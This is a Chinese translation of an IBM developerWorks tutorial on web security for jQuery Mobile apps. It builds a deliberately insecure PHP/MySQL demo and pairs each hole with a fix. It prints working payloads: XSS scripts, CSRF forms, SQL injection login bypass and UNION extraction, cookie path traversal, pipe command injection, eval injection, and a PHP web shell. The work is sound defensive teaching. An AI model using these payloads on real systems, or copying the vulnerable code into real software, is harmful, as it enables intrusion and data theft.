jquery mobile
在你开始前
本教程适用于有兴趣保护其应用程序的jQuery Mobile开发人员。 假定读者具有使用PHP,MySQL,JavaScript,XHTML和CSS进行Web应用程序开发的基本知识。 另外,本教程绝不是全面的; 它旨在作为Web应用程序安全性的介绍。 要进一步阅读此处介绍的问题以及其他相关主题,请参阅参考资料 。
关于本教程
随着智能电话和类似设备的兴起,Web应用程序的安全性已扩大到包括移动应用程序。 由于许多此类设备的接口施加的限制,开发人员有时会采用错误的假设,即客户端输入验证足以抵御攻击。 但是,可以通过与传统Web应用程序相同的方式来处理由移动应用程序发送的请求。 由于存在此漏洞,因此无法信任客户端。 由于有时会将敏感数据存储在设备及其使用的服务器上,因此保护用户免受黑帽黑客攻击至关重要。 本教程介绍了几种类型的漏洞是如何发生的,以及可以采取的一些对策,以减轻试图利用它们的攻击者。 涵盖了以下类型的漏洞:
- 跨站脚本
- 跨站点伪造
- 存取控制中断
- SQL注入
- 文件包含
- 操作系统命令注入
- 脚本语言注入
- 任意文件创建
通过使用jQuery Mobile,PHP和MySQL构建的示例应用程序演示了所有漏洞和对策。 (请参阅下载以获取带有示例代码的.zip文件。)
先决条件
您将需要以下工具来完成本教程:
- Web服务器 -您可以使用任何支持PHP的Web服务器。 本教程中的许多漏洞利用都是特定于Windows的,但可以针对其他操作系统进行调整。 建议的Web服务器是Apache或IBM HTTPServer。
- PHP —由于所描述的某些攻击不适用于最新版本,因此使用了PHP 5.3.1。 在整个教程中都记录了这种不兼容性。
- MySQL-本教程使用MySQL(一种开放源数据库)。 本教程使用了5.1.41版,但其他版本也可以正常工作。
- Web调试代理 -由于需要一种处理HTTP请求的方法,因此Web调试代理非常有用。 在本教程中,始终使用Fiddler v2.3.2.4,但是任何其他可以修改请求的Web调试器代理都可以使用。
- jQuery Mobile —本教程中构建的示例应用程序的前端使用jQuery Mobile 1.0 Alpha 3。
请参阅相关的主题为有用的链接。
构建不安全的应用程序
本教程首先创建一个不安全的示例应用程序,称为“人为移动应用程序(CMA)”,该应用程序将作为以下各节介绍的不同类型攻击的测试平台。 为了实现此测试,CMA具有两个核心功能:
- 用于定制的用户配置文件系统
- 用于执行基本算术的计算器
该应用程序的每个元素都会引入安全漏洞,攻击者可将其用于自己的目的。 涵盖了每个漏洞之后,将对CMA进行适当的修补,以阻止未来的黑客。
模式
作为以用户为中心的应用程序,CMA具有一个由一个表组成的简单模式(请参见清单1 )。
清单1. CMA安装脚本的摘录
CREATE TABLE UserAccount
(
Id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,
Username VARCHAR(256) NOT NULL,
Password VARCHAR(32) NOT NULL,
FirstName VARCHAR(256) NOT NULL,
LastName VARCHAR(256) NOT NULL
);
INSERT INTO UserAccount (Username, Password, FirstName, LastName)
VALUES ('Jane', md5('Password1'), 'Jane', 'Smith');
INSERT INTO UserAccount (Username, Password, FirstName, LastName)
VALUES ('John', md5('Password1'), 'John', 'Doe');
创建了两个用户,Jane和John。 为简单起见,权限级别已被省略。
语言选择
每次加载页面时都会执行语言选择逻辑(请参见清单2 )。
清单2.对传递给require_once的输入的不正确处理
if (isset($_COOKIE['language'])){ require_once($_COOKIE['language'] . ".php"); }
首先,条件语句检查是否存在语言cookie。 如果是这样,则将PHP扩展名附加到cookie值后,并将字符串传递给require_once
函数以加载适当的脚本。
认证与授权
接下来,添加一些基本保护。 将创建一个登录表单(请参见图1 )以及身份验证和授权逻辑,并在成功登录会话值后,将CurrentUser
设置为已身份验证用户的用户名。 通过检查该会话值来实现授权逻辑。
图1. CMA登录表单
清单3显示了不安全的身份验证逻辑的创建。
清单3.不安全的身份验证逻辑
<?php
function Authenticate($Username, $Password)
{
$query = "SELECT COUNT(*) FROM useraccount " .
"WHERE Username = '" . $Username . "' AND " .
"Password = md5('" . $Password . "');";
$result = mysql_query($query);
$_SESSION["CurrentUser"] = $Username;
return mysql_result($result, 0);
}
?>
清单4显示了不安全的授权逻辑的创建。
清单4.不安全的授权逻辑
<?php
if (!isset($_SESSION["CurrentUser"]) || $_SESSION["CurrentUser"] == NULL)
{
header("Location: login.php");
}
?>
用户搜索
没有能够在系统内搜索其他用户的功能,没有以用户为中心的应用程序是完整的。 用户搜索功能接受关键字并将匹配结果作为无序列表返回( 图2 )。 清单5显示了搜索逻辑。
清单5.用户搜索实现中对用户提交的数据的不安全处理
Query: <?php echo $query; ?>
<ul data-role="listview" data-theme="c" style="margin-top:12px;">
<?php
$query = "SELECT FirstName, LastName " .
"FROM UserAccount " .
"WHERE FirstName LIKE '%$query%' OR " .
"LastName LIKE '%$query%';";
$result = mysql_query($query) or die(mysql_error());;
while ($row = mysql_fetch_assoc($result)) {
echo "<li>" . $row["FirstName"] . " " . $row["LastName"] . "</li>";
}
?>
</ul>
清单5执行了各种功能。 首先,它在页面顶部输出用户提交的查询,以提醒用户他们搜索的内容。 然后,根据用户提供的关键字动态构建SELECT语句的条件。 SQL语句传递给mysql_query
,脚本遍历结果,并将相关数据作为HTML列表项回显。
图2.用户搜索的结果
计算器
由于用户可能需要即时解决基本的算术问题,因此CMA提供了计算器功能。 计算器由三个输入组成:x,y和运算。 清单6显示了用于解决算术问题并显示结果的代码。
清单6.在计算器实现中对用户提交的数据的不安全处理
<?php
$operation = $_GET["operation"] == "operation-add" ?
"+" : "-";
$arithmetic = "$_GET[x] $operation $_GET[y]";
echo $arithmetic . " = ";
$code = "echo $arithmetic;";
eval($code);
?>
这段代码首先检查GET
数据,以确定用户选择了什么操作。 接下来,它将算术问题构建为字符串。 然后,在将动态生成的字符串解释为PHP之前,输出完整的问题,以便用户查看。
图3显示了运行中的计算器。
图3. CMA计算器计算一些数字
![CMA计算器的屏幕截图:X = 6,Y = 20。选择X + Y或X-Y操作并计算。](https://i-blog.csdnimg.cn/blog_migrate/df3d13152b740bed222771539d1cb333.png)
既然您已经了解了CMA计算器,我将介绍该应用程序的核心:用户首选项。
用户偏好
CMA的个人可定制性是其最大的功能。 它允许用户更改个人信息并上传个人资料图片(请参见清单7 )。
清单7.用户首选项实现中对用户提交的数据的不安全处理
<?php
$message = "User preferences have been saved.";
$validated = TRUE;
$update = "UPDATE UserAccount " .
"SET " .
"FirstName = '$_REQUEST[firstname]', " .
"LastName = '$_REQUEST[lastname]' ";
$password1 = $_REQUEST["newpassword1"];
$password2 = $_REQUEST["newpassword2"];
if ($password1 != NULL && $password1 != '')
{
if ($password1 != $password2)
$validated = FALSE;
$update .= ", Password = md5('$password1') ";
}
$update .= "WHERE Id = $_REQUEST[userid]";
if ($validated)
mysql_query($update) or die(mysql_error());
if (isset($_FILES["picture"]))
{
$image = $_FILES["picture"]["tmp_name"];
// For this example ping will be used as a mock image
// compression tool.
$compress_command = "ping $image $_REQUEST[imagecompression]";
exec($compress_command);
move_uploaded_file($image,
"images/" . $_FILES["picture"]["name"]);
}
echo $message;
?>
清单7中的代码首先为UserAccount表构建并执行一个UPDATE语句。 如果用户上载了图像,则使用模拟图像压缩实用程序对其进行处理,然后将其移入图像目录。
图4显示了具有“名字”,“姓氏”,“新密码”,“重复新密码”和“个人资料图片”字段的用户首选项界面。
图4.用户首选项界面显示了John Doe帐户
在介绍了相关的CMA功能之后,是时候更加仔细地研究其实现了。 下一部分将介绍存在的漏洞,某人如何利用它们以及如何防止这种利用。
跨站点脚本(XSS)
当黑客可以注入客户端脚本攻击其他用户时,网站很容易受到XSS的攻击。 XSS有两种类型:反射的和持久的。 一个普遍的误解是,XSS只是令人讨厌。 在某些情况下,反射的XSS威胁较小,但是在许多情况下,它使用户容易受到帐户破坏或更严重的攻击。
反映的XSS
当请求数据在响应中未编码和未过滤时,就会发生反射XSS。 借助社交工程,攻击者可以诱使用户访问创建此类请求的页面,从而使攻击者可以在目标用户的上下文中执行JavaScript。 根据漏洞的性质,可以执行的操作会有所不同,但是XSS通常被利用来劫持会话,窃取凭据或执行其他未经授权的操作。
持久的
当服务器保存用户提交的请求数据时,通常将XSS漏洞视为威胁,这种威胁通常比反射类型的威胁更大。 由于恶意数据保留在应用程序中,因此攻击的社会工程方面变得更简单,甚至完全消除,这取决于漏洞利用情况。
开发
CMA装有XSS漏洞; 仅用户搜索就具有反映类型和持久类型。 此处显示了反射类型的利用:
http://localhost/CMA/insecure/search.php?query=%3Cscript%3Ealert (document.cookie)%3C/script%3E
除非已采取客户端对策,否则在导航到链接时,立即就会看到反射的XSS攻击的影响:
Query: <script>alert(document.cookie)</script>
Anti-XSS功能可能内置于浏览器(例如Microsoft®InternetExplorer®8)中,也可能是作为插件安装的,例如用于Firefox的noXSS。 就您的目的而言,不应考虑使用客户端过滤器,因为您不能依靠用户来安装它们,并且在许多情况下,它们只能防止反射类型。 在某些情况下,客户端筛选实际上会适得其反,引入了通用XSS(UXSS)漏洞。 其中一个示例是在Microsoft修补漏洞之前的Internet Explorer 8中。
要查看运行中的持久XSS,请将此处显示的脚本标签插入“用户首选项”表单的“名字”或“姓氏”字段中,然后搜索用户:
<script>alert(document.cookie)</script>
当用户显示在搜索结果中时,将执行JavaScript。
防止跨站点脚本
停止XSS攻击通常是将正确的编码应用于服务器响应中的用户输入。 对于用户搜索反映的XSS示例,应用HTML实体编码应足以防止恶意操作。 您可以通过使用htmlentities
函数使用PHP API进行此步骤: Query: <?php echo htmlentities($query); ?>
Query: <?php echo htmlentities($query); ?>
。
现在,针对更新后的代码测试攻击会产生不同的结果:
Query: <script>alert(document.cookie)</script>
小于和大于字符现在已被HTML实体编码,从而防止了攻击者注入标记。 持久性漏洞与htmlentities
函数的修复方式相同(请参见清单8 )。
清单8.防止持久XSS的CMA修改
while ($row = mysql_fetch_assoc($result))
{
echo "<li>" . htmlentities($row["FirstName"]) . " " .
htmlentities($row["LastName"]) . "</li>";
}
将用户提交的数据注入HTML属性值时,请确保确保用于封装值的字符串定界符在值本身内被剥离或编码。 否则,可以进行属性注入:
<a href='http://www.mywebsite.com/'>My Website</a>
清单9显示了如何进行归因注入。
清单9.属性注入,由于缺少单引号编码而成为可能
<a href='http://www.mywebsite.com/'onmouseover='alert(document.cookie)
'>My Website</a>
作为附加的安全层,启用Set-Cookie响应标头的HttpOnly
标志可以防止客户端脚本访问受保护的cookie。 但是,您不能依赖此功能,因为某些浏览器并不完全支持它。
下一节将介绍另一个流行的漏洞,该漏洞可用于发起针对系统其他用户的客户端攻击。
跨站点伪造请求(CSRF或XSRF)
当攻击者诱使用户在其安全上下文内执行操作时,就会发生CSRF。 如果没有适当的安全措施,则无论表单方法是GET
还是POST
,黑客都可以执行此操作。 在这两者之间,使用GET
方法的CSRF攻击是最大的威胁,因为仅可以使用URL伪造请求,攻击者可以将URL用作图像源。 如果该攻击能够在系统内任意设置图像源,则黑客可以利用它来发起现场请求伪造(OSRF)攻击。
开发
CMA中几乎所有动作都可以作为CSRF攻击来重新创建。 清单10是基于GET
的攻击的示例,该攻击将目标用户的密码更改为new_password。
清单10.更改密码的CSRF示例
<html>
<body>
<img
src="//localhost/CMA/insecure/preferences.php?firstname=John&lastname
=Doe&newpassword1=new_password&newpassword2=new_password&userid
=2&imagecompression=5" />
</body>
</html>
如果GET方法不起作用,则攻击者可以尝试使用POST
伪造该请求(请参见清单11 )。
清单11.使用POST
方法更改密码的CSRF示例
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://localhost/CMA/insecure/preferences.php">
<input type="hidden" name="firstname" value="John" />
<input type="hidden" name="lastname" value="Doe" />
<input type="hidden" name="newpassword1" value="new_password" />
<input type="hidden" name="newpassword2" value="new_password" />
<input type="hidden" name="userid" value="2" />
<input type="hidden" name="imagecompression" value="5" />
</form>
</body>
</html>
在清单11中查看呈现HTML的结果是创建了一个请求,该请求与更新用户首选项的合法用户的请求相同,但是所有表单值均由攻击者控制。
防止跨站点伪造
您可以通过两种常用方法来防止CSRF。 最简单的实现方法是检查HTTP请求中的引荐来源网址(请参见清单12 )。 如果请求不是来自受信任的来源,则应拒绝该请求。 引荐来源网址检查的粒度越多,安全性越好。
清单12.基本的引荐来源网址检查实现
if (strpos($_SERVER["HTTP_REFERER"], $app_host . $app_path) != 0 &&
strpos($_SERVER["HTTP_REFERER"], $app_path) != 0)
die("Invalid request");
但是,这种方法并非万无一失。 一种更安全的对策是使用安全令牌。 对于每种受保护的形式,服务器都包含一个长而足够随机的令牌值。 在服务器端跟踪每个令牌值,以确保仅使用一次并在预定时间后过期。 提交表单时,如果该值不存在,无效或过期,则以最有可能伪造该请求为由拒绝该请求。 如果没有能力猜测令牌值,则攻击者将无法进行攻击。 如果将此安全性机制应用于应用程序中的每个页面,它还可以防止反射的XSS。
在接下来的部分中,您将研究几种类型的服务器端漏洞。
存取控制中断
访问控制问题通常被忽略,因为在大多数情况下,使用自动化实用工具无法轻松测试访问控制。 当未经身份验证或未经授权的用户可以访问应拒绝其访问权限的资源时,应用程序将失去访问控制。 当开发人员试图通过向非特权用户隐藏URL来保护授权用户使用的资源时,经常会发生此问题。 仅此一项就保护资源的假设是错误的。 攻击者仍然可以通过其他方式(例如推断)来发现URL。 同样,失去特权的用户可能仍可以使用他们保存的URL访问未经授权的资源。
开发
CMA具有两个与访问控制相关的漏洞:身份验证绕过和特权升级。 身份验证错误源于在发现要未经身份验证的用户时无法终止执行。 尝试在浏览器中执行禁止的操作(请参见清单13 )会导致看似预期的行为:浏览器被重定向到登录页面。
清单13.对特权资源的未经身份验证的请求
POST http://localhost/CMA/insecure/preferences.php HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 107
Cache-Control: max-age=0
Origin: null
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16
(KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8
,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
firstname=John&lastname=Doe&newpassword1=new_password&newpassword2
=new_password&userid=2&imagecompression=5
如清单14所示,使用诸如Fiddler之类的Web调试代理检查流量,发现还有更多事情在发生。
清单14.响应的摘录显示解释器没有正确终止执行
HTTP/1.1 302 Found
Date: Sat, 19 Mar 2011 23:14:44 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l
mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: login.php
Content-Length: 1138
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
...
当服务器以302状态代码响应时,响应的正文包含经过身份验证的用户收到的所有内容。 此外,密码更改成功,并且目标帐户已被盗用。
除了身份验证绕过漏洞之外,CMA还包含另一个访问控制问题:特权升级。 每当用户更新其个人资料时,都会将用户帐户的Id
(如此处所示)存储在表单的隐藏字段中,如下表所示:
<input type="hidden" name="userid" id="userid" value="2" />
将表单发布回服务器后,在使用该值从数据库加载记录之前,不会执行任何验证来确认提交的Id
是实际当前用户的Id
。 恶意用户可以在提交表单之前使用基于浏览器的Web开发工具来更改隐藏字段的值,或者使用Web调试代理来指定任意Id
来更改请求,从而允许恶意用户更改除以下内容以外的用户帐户他们自己的。
防止访问控制被破坏
为防止身份验证绕过,请确保如果身份验证或授权检查失败,则不会执行受保护的应用程序逻辑。 对于PHP,重要的是要记住,使用标头函数设置响应的“位置”字段不会终止执行。 清单15显示了正确退出的授权代码。
清单15.改进的授权代码
<?php
if (!isset($_SESSION["CurrentUser"]) || $_SESSION["CurrentUser"] == NULL)
{
header("Location: login.php");
exit;
}
?>
如果确定用户未经授权,则在设置Location标头后调用exit
函数。 此步骤可防止执行脚本的其余部分。
要消除特权升级,请确保对每个特权操作都执行正确的授权。 当可以在服务器端存储数据时,请避免在客户端存储数据。 清单15中的用户ID是可以存储在会话中的数据的一个很好的例子。 部分修复程序显示在这里:
$update .= "WHERE Id = $_SESSION[userid]";
接下来是SQL注入,这是一个众所周知的漏洞,具有多种潜在后果。
SQL注入
尽管认知度不断提高,但是SQL注入仍然是一个问题。 成功进行SQL注入的后果取决于漏洞。 可以引入的一些威胁包括:
- 资料披露
- 修改现有数据
- 插入新数据
- 任意文件系统访问
- 任意网络访问
- 系统妥协
开发
CMA中的每个查询都容易受到SQL注入的攻击,因此您将使用多个输入向量。 通过注入条件并通过用户名字段注释掉查询的其余部分,可以绕过身份验证。 清单16显示了预期的查询。
清单16.将John和Password1作为用户凭证提交时的select语句
SELECT COUNT(*) FROM UserAccount
WHERE Username = 'John' AND Password = md5('Password1');
清单17显示了使用恶意字符串将代码注入第一个条件时该语句的样子。
清单17.当'or 1=1;#
和一个空密码作为凭据提交时的select
语句
SELECT COUNT(*) FROM UserAccount
WHERE Username = ''or 1=1;#' AND Password = md5('');
因为1始终等于1,并且密码检查条件由数字符号字符(#)注释掉,所以清单17中的查询返回UserAccount表中所有记录的计数。 如果计数不为零,则Authenticate函数的返回值评估为true,从而授予攻击者访问权限。
用户搜索功能在某种程度上很容易受到攻击,可以用来提取任意数据。 清单18显示了预期的搜索查询。
清单18.正常情况下的用户搜索查询
SELECT FirstName, LastName FROM UserAccount
WHERE FirstName LIKE '%John%' OR LastName LIKE '%John%';
通过利用UNION运算符,攻击者可以附加一个全新的查询来检索他们选择的数据:
'and 1=0 UNION SELECT Username, Password FROM UserAccount;#
清单19显示了提交攻击字符串后动态生成的查询。
清单19. SQL注入后的用户搜索查询
SELECT FirstName, LastName FROM UserAccount
WHERE FirstName LIKE '%'and 1=0 UNION SELECT Username,
Password FROM UserAccount;#%' OR LastName LIKE '%'and 1=0
UNION SELECT Username, Password FROM UserAccount;#'";
该攻击将为数据库中的每个用户生成用户名和密码摘要(请参见图5 )。
图5.使用UNION运算符成功注入的结果
防止SQL注入
为了防止SQL注入,您必须正确地转义并验证所有用户提交的输入。 大多数Web开发API都带有实现此目的的功能。 在PHP和MySQL中,将参数化查询与mysql_real_escape_string
一起使用以保护字符串值免受许多攻击(请参见清单20 )。
清单20.利用PHP API提供的预防措施更新了认证代码
$query = sprintf("SELECT COUNT(*) FROM useraccount " .
"WHERE Username = '%s' AND " .
"Password = md5('%s');",
mysql_real_escape_string($Username),
mysql_real_escape_string($Password));
如清单21所示,由于在攻击字符串的开头转义了定界符,因此身份验证旁路不再起作用。
清单21.尝试使用新的修复程序进行注入
SELECT COUNT(*) FROM useraccount
WHERE Username = '\'or 1=1;#' AND Password = md5('');
在格式字符串中使用正确的类型说明符很重要。 强制转换为期望的类型提供了额外的保护层(请参见清单22 )。
清单22.使用不受信任的整数安全地创建查询
$query = sprintf("SELECT * FROM useraccount WHERE Id = %d", (int)$_GET['id']);
接下来的部分介绍文件包含,这是PHP Web应用程序中常见的一种错误。
文件包含
文件包含两种类型:远程和本地。 顾名思义,这种类型的漏洞使攻击者可以任意包含文件。 结果是公开文件内容还是作为代码执行取决于漏洞利用的性质。 对于PHP,如果在php.ini文件中禁用了allow_url_fopen
则通常无法包含远程文件。
开发
CMA中的语言cookie容易受到本地文件包含的攻击,如果服务器配置为允许打开URL,则很容易包含远程文件。 通过传递一系列遍历序列以及webroot外部的文件夹和文件,后跟一个空字节来终止字符串,可以包含任意文件。 清单23显示了包含win.ini文件的恶意请求。
清单23.试图检索服务器的win.ini文件的恶意请求
GET http://localhost/cma/insecure/index.php HTTP/1.1
Host: localhost
Connection: keep-alive
Referer: http://localhost/cma/insecure/index.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML,
like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: language=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2fwin.ini%00
清单24显示了服务器的响应。
清单24.服务器的响应显示出成功的攻击
HTTP/1.1 200 OK
Date: Sun, 20 Mar 2011 20:59:41 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l
mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Set-Cookie: PHPSESSID=39q2aarl86t01j697vrb6ekjf2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 6142
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
m2v=MPEGVideo
mod=MPEGVideo
[Trimmed]
请注意,从PHP 5.3.4开始,路径的空字节中毒不再起作用。 但是,在某些情况下,这不是必需的,因此不要将其单独视为文件包含漏洞的修复程序。
除了公开任意文件之外,有时还可以使用文件包含来诱使服务器将任意文件类型(例如jpgs)解释为代码。
防止文件包含
如果可能,请避免将用户输入传递给任何读取或包含文件的功能。 如果无法避免这种方法,请尝试采用白名单方法来验证数据,如清单25所示 。 如果有效值的数量对于白名单而言太大,请检查所有遍历序列或空字节,然后拒绝(请勿尝试清除)该请求。 确保服务器附加了用户提交的文件名的扩展名。
清单25.更新的语言选择代码可阻止文件包含攻击
$languages = array( "en-us", "en-ca");if (isset($_COOKIE['language']))
{ if (in_array($_COOKIE['language'], $languages)
require_once($_COOKIE['language'] . ".php");
else
die("Invalid language.");}
由于更新的代码仅允许语言数组中包含cookie值,因此用户不能再利用语言选择功能来包含任意文件。
尽管包含本地文件是一个严重的威胁,但后面几节中描述的攻击后果可能更加严重。
操作系统命令注入
如您所料,OS命令注入是一个非常严重的威胁。 如果将用户输入传递给执行操作系统命令的功能,请格外小心,以确保正确转义数据。
开发
用户首选项功能的模拟图像压缩容易受到OS命令注入的攻击。 可以通过在请求主体中使用图像压缩数据,在管道字符(|)后面加上恶意命令来注入命令(请参见清单26 )。
清单26.恶意请求的主体
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="firstname"
John
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="lastname"
Doe
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="newpassword1"
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="newpassword2"
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="picture"; filename="x.txt"
Content-Type: text/plain
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="userid"
2
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="imagecompression"
5|calc
------WebKitFormBoundaryFnGBYVe08wA8NMrs-
传递给系统函数的值如下所示:
ping "C:\tools\xampp\tmp\php7533.tmp" 5|calc
防止OS命令注入
避免将用户输入传递给执行OS命令的功能。 通常,您可以使用更安全的API函数来获得类似的结果。 如果无法采用更安全的方法,并且必须使用不受信任的数据来创建命令行参数,请确保正确地转义了数据。 PHP API提供了一个用于转义危险字符的函数,称为转义外壳cmd。 清单27显示了更正后的用户首选项代码。
清单27.使用escapeshellcmd清理用户输入
$compress_command = "ping $image " .
escapeshellcmd($_REQUEST["imagecompression"]);
通过在将用户输入传递给系统之前将用户输入传递给escapeshellcmd
,可以escapeshellcmd
管道等恶意字符。
涵盖的下一个漏洞通常会产生与OS命令注入相似的结果。
脚本语言注入
当用户输入解释为代码时,存在脚本语言注入漏洞。 在许多情况下,这会导致服务器受损,因为攻击者能够在解释器进程的安全上下文内执行代码。
开发
由于用户提交的数据将传递给eval
函数,因此CMA的计算器功能易受脚本语言注入的攻击。 X和Y输入都可以用来执行任意代码,但是由于它们是数字类型,因此必须绕过客户端限制。 此绕过可以通过使用Web调试代理来实现:
/CMA/insecure/calculator.php?x=1&y=1;system(%22calc%22)&operation=operation-add
或通过手动创建查询字符串:
/CMA/insecure/calculator.php?x=1;system(%22calc%22);//&y=1&operation=operation-add
脚本注入攻击对评估后的代码的影响是:
echo 1 + 1;system("calc");
在这里: echo 1;system("calc");// + 1;
防止脚本语言注入
避免将用户输入评估为代码。 通常可以使用更安全的API函数来创建相关功能(这是清单28中采用的方法)。 如果无法避免,则应用严格的验证(如有可能,请使用白名单),并拒绝任何认为不安全的输入。 不要尝试清理用户输入。
清单28.重写的计算器逻辑
<?php
$x = $_GET["x"];
$y = $_GET["y"];
$operation = $_GET["operation"] == "operation-add" ?
"+" : "-";
// Patched reflected XSS vulnerability
$arithmetic = htmlentities("$x $operation $y");
echo $arithmetic . " = ";
if ($operation == "+")
echo $x + $y;
else
echo $x - $y;
?>
由于在更新的代码中避免使用eval
,因此可以防止脚本语言注入。
下一节将说明如何利用任意文件创建来达到类似的效果。
任意文件创建
在许多情况下,创建任意文件的结果与脚本语言注入相似;它们的作用类似于脚本语言注入。 攻击者可以创建带有适当扩展名的文件,然后访问该文件以执行任意代码。 攻击者可以通过多种方式实现此目的,并且在使用任何可用于创建文件的功能时,都需要谨慎行事。 在某些情况下,此功能可以与其他漏洞结合使用,例如遍历目录,从而使攻击者造成更大的损失。
开发
创建任意文件的一种方法是使用用户首选项的个人资料图片功能上传PHP文件而不是图像。 一个简单的脚本可以提供一个远程shell:
<?php system($_GET["CMD"]); ?>
<?php system($_GET["CMD"]); ?>
。
上载之后,攻击者便可以访问该脚本以轻松运行OS命令:
http://localhost/CMA/insecure/images/shell.php?CMD=calc
根据是否存在适当SQL注入漏洞以及服务器的配置,可能可以利用SQL创建新脚本。 根据SQL Server的权限,可能可以利用目录遍历来覆盖关键的系统文件,从而有效地危害服务器:
SELECT '<?php system($_GET["CMD"]); ?>' FROM dual INTO OUTFILE '../../htdocs/shell.php'
查询的第一列应该看起来很熟悉。 它实际上是一个字符串文字,其中包含任意文件创建中的恶意文件(参见清单29 )。
清单29.使用UNION运算符将外壳创建查询注入CMA
http://localhost/CMA/insecure/search.php?query='and%201=0%20UNION%20SELECT
%20'%3C?php%20system($_GET[%22CMD%22]);%20?%3E',''%20FROM%20dual%20INTO%20OUTFILE
%20'../../htdocs/shell.php';%23
您可以通过反复试验或利用信息泄露漏洞(本教程中未介绍)来发现此类攻击的目标路径,该漏洞会揭示文档根目录的绝对路径。
防止任意文件创建
如果可能,请对用户可能创建的任何文件的扩展名执行白名单验证。 此方法是用于修复CMA的方法,如清单30和清单31所示 。 如果无法实施类似的修复程序,请使用黑名单验证来确保不允许任何恶意扩展。 对于Apache和PHP,此方法意味着拒绝几个扩展,例如PHP,PHTML和HTACCESS。 如果输入被认为是恶意的,则拒绝输入; 请勿尝试清除任何可疑数据。
清单30.用于检查空字节中毒的辅助函数
function IsNullPoisoned($string)
{
return strpos($string, "\x00") != NULL;
}
function IsValidImageExtension($file)
{
$validExtensions = array(
"jpg",
"png",
"gif"
);
if (IsNullPoisoned($file))
return FALSE;
$ext = pathinfo($file, PATHINFO_EXTENSION);
return in_array($ext, $validExtensions);
}
IsNullPoisoned
函数检查字符串中是否有任何空字节,如果位置不为空,则返回true,而IsValidImageExtension
函数检查以确保文件名不为空,并且其扩展名在白名单中。
清单31.带有附加文件扩展名验证的CMA用户图片功能
if (!IsValidImageExtension($_FILES["picture"]["name"]))
die("Error uploading image.");
为了防止攻击,将用户提交的文件的名称传递给IsValidImageExtension
函数,如果返回false,则脚本将终止。
使用PHP,建议您避免使用基于正则表达式的扩展过滤器。 清单32显示了可以绕过的验证函数。
清单32.不安全的扩展验证
function IsValidImageExtension($file)
{
return preg_match('/\.(jpg|png|gif)$/i', $file);
}
清单32中的实现防止了一些攻击,但是preg_match
函数可能容易受到空字节中毒的影响: test.php%00test.jpg
。
如清单33所示,针对此问题的对策,但是由于增加了复杂性,请避免采用这种方法。
清单33.更正了基于正则表达式的验证
function IsValidImageExtension($file)
{
return !IsNullPoisoned($file) && preg_match('/\.(jpg|png|gif)$/i', $file);
}
在使用preg_match
之前,请检查文件名是否存在空字节中毒,以防止攻击者注入字符串终止字符。
确保已修补所有SQL注入漏洞,以阻止攻击者使用数据库服务器功能来操纵文件系统。 如果应用程序不需要此类功能,请考虑使用数据库特权禁用这些功能。 如果可能,请在与HTTP服务器不同的服务器上运行数据库服务器。
为了增加安全性,请将用户上传的文件存储在文档根目录之外,或者在不需要直接访问的情况下,禁止使用Web服务器功能访问用户。 如果攻击者能够绕过文件扩展名过滤器,则此方法会使访问和执行恶意脚本更加困难。 不要让客户端控制上传目标文件夹; 否则,攻击者可能会使用目录遍历(在本教程前面介绍过)将文件存储在不受保护的目录中。
摘要
如前所述,本教程绝不是全面的。 实际上,由于软件安全领域的不断变化,因此没有这样的来源。 抵御不断发展的攻击者的最佳保护是通过定期阅读有关新的安全威胁来保持最新状态。 有关深入研究为什么会发生漏洞以及如何预防漏洞的一些出色资源,请参阅参考资料 。 请记住,就像不能将系统声明为没有错误一样,也不能将其视为完全安全。
翻译自: https://www.ibm.com/developerworks/xml/tutorials/x-jquerymobilesecuritytut/index.html
jquery mobile